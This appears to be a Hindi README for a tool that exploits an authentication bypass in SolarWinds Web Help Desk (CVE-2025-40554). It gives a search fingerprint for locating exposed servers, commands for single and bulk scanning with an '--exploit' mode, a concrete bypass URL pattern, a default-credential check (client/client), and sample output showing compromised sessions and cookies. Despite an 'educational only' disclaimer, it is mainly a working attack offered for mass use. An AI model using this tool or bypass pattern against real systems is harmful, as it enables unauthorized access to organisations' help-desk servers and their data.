
CVE-2025-40554 शोषण
SolarWinds Web Help Desk में प्रमाणीकरण बायपास भेद्यता (CVE-2025-40554 / CVE-2025-40536) का पता लगाने और शोषण करने के लिए एक व्यापक सुरक्षा परीक्षण उपकरण।
केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए
यह टूल सुरक्षा अनुसंधान, पैठ परीक्षण, और उन प्रणालियों पर भेद्यता मूल्यांकन के लिए प्रदान किया गया है जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक इस टूल के दुरुपयोग या इससे होने वाली क्षति के लिए जिम्मेदार नहीं हैं।
CVE-2025-40554 SolarWinds Web Help Desk में एक गंभीर प्रमाणीकरण बायपास भेद्यता है जो बिना प्रमाणीकरण के हमलावरों को निम्नलिखित की अनुमति देती है:
स्वयं जांचें :))
निर्भरताएं:
# Clone or download the script
wget https://raw.githubusercontent.com/username/repo/main/CVE-2025-40554.py
# Make executable
chmod +x CVE-2025-40554.py
("Web Help Desk") && (icon_hash="1895809524" || icon_hash="804130677")
# Simple vulnerability check
python3 CVE-2025-40554.py -t https://target:8443
# With explicit protocol
python3 CVE-2025-40554.py -t https://203.106.221.203:8443
# Complete exploitation with session enumeration
python3 CVE-2025-40554.py -t https://target:8443 --exploit
# Skip default credential testing
python3 CVE-2025-40554.py -t https://target:8443 --exploit --no-login
# Scan multiple targets from file
python3 CVE-2025-40554.py -l targets.txt
# Bulk scan with exploitation
python3 CVE-2025-40554.py -l targets.txt --exploit
# Quiet mode (minimal output)
python3 CVE-2025-40554.py -l targets.txt -q
# Custom output file
python3 CVE-2025-40554.py -l targets.txt -o results.txt
targets.txt:
https://target1:8443
https://target2.example.com:8443
192.168.1.100:8443
target3.local:8443
# Comments are supported
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-40554 - SolarWinds Web Help Desk ║
║ Authentication Bypass Exploitation Tool ║
║ Research & Educational Purposes Only ║
╚═══════════════════════════════════════════════════════════════════╝
======================================================================
Target: https://203.106.221.203:8443
======================================================================
[*] Step 1: Establishing session...
[+] WOSID extracted: AbCdEfGhIjKlMnOpQrStU
[+] XSRF token: abc123-def456-ghi789
[*] Step 2: Testing authentication bypass...
[+] Found bypass indicators: externalAuthContainer, JSONRpcClient, SAML 2.0
[+] VULNERABLE - Auth bypass confirmed!
[*] Step 3: Testing default credentials (client/client)...
[+] SUCCESS - Default credentials work!
======================================================================
EXPLOITATION MODE - CVE-2025-40554 Auth Bypass
======================================================================
[*] Bypass URL: https://203.106.221.203:8443/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AbCdEfGhIjKlMnOpQrStU/1.0?badparam=/ajax/&wopage=LoginPref
[*] Triggering authentication bypass...
[+] Auth bypass successful!
[*] Session Cookies:
wosid = AbCdEfGhIjKlMnOpQrStU
XSRF-TOKEN = abc123-def456-ghi789
======================================================================
SUMMARY
======================================================================
[+] Target is VULNERABLE to CVE-2025-40554
[+] Default credentials: WORK
======================================================================
[*] Loaded 5 unique targets from targets.txt
[*] Mode: Bypass + default credential test
[*] Full exploitation enabled
[1/5] Testing https://target1:8443
[+] VULNERABLE - Auth bypass confirmed!
[+] SUCCESS - Default credentials work!
[2/5] Testing https://target2:8443
[!] NOT VULNERABLE - Auth bypass failed
...
======================================================================
SCAN SUMMARY
======================================================================
Total scanned: 5/5
Vulnerable: 2
With def. creds: 1
======================================================================
[+] Results saved to: vulnerable_targets.txt
सत्र स्थापना
प्रमाणीकरण बायपास
क्रेडेंशियल परीक्षण (वैकल्पिक)
पूर्ण शोषण (--exploit मोड)
यह टूल निम्नलिखित की जांच करके सफल बायपास का पता लगाता है:
externalAuthContainer - बाहरी प्रमाणीकरण कॉन्फ़िगरेशनJSONRpcClient - API क्लाइंट एक्सपोज़रSAML 2.0 - SSO कॉन्फ़िगरेशनLoginPref - लॉगिन प्राथमिकता सेटिंग्सauthMode - प्रमाणीकरण मोड सेटिंग्सयोगदान का स्वागत है.....
यह टूल बिना किसी वारंटी के "जैसा है" प्रदान किया गया है। अपने जोखिम पर उपयोग करें।
Skynoxk
याद रखें: हमेशा नैतिक और कानूनी रूप से हैक करें। अनधिकृत पहुंच एक अपराध है।
| विकल्प | विवरण |
|---|
-t, --target URL | परीक्षण के लिए एकल लक्ष्य URL |
-l, --list FILE | लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
--exploit | गणना के साथ पूर्ण शोषण मोड सक्षम करें |
--no-login | डिफ़ॉल्ट क्रेडेंशियल परीक्षण छोड़ें |
-o, --output FILE | भेद्य लक्ष्यों के लिए आउटपुट फ़ाइल (डिफ़ॉल्ट: vulnerable_targets.txt) |
-q, --quiet | न्यूनतम आउटपुट मोड (बल्क स्कैन के लिए उपयोगी) |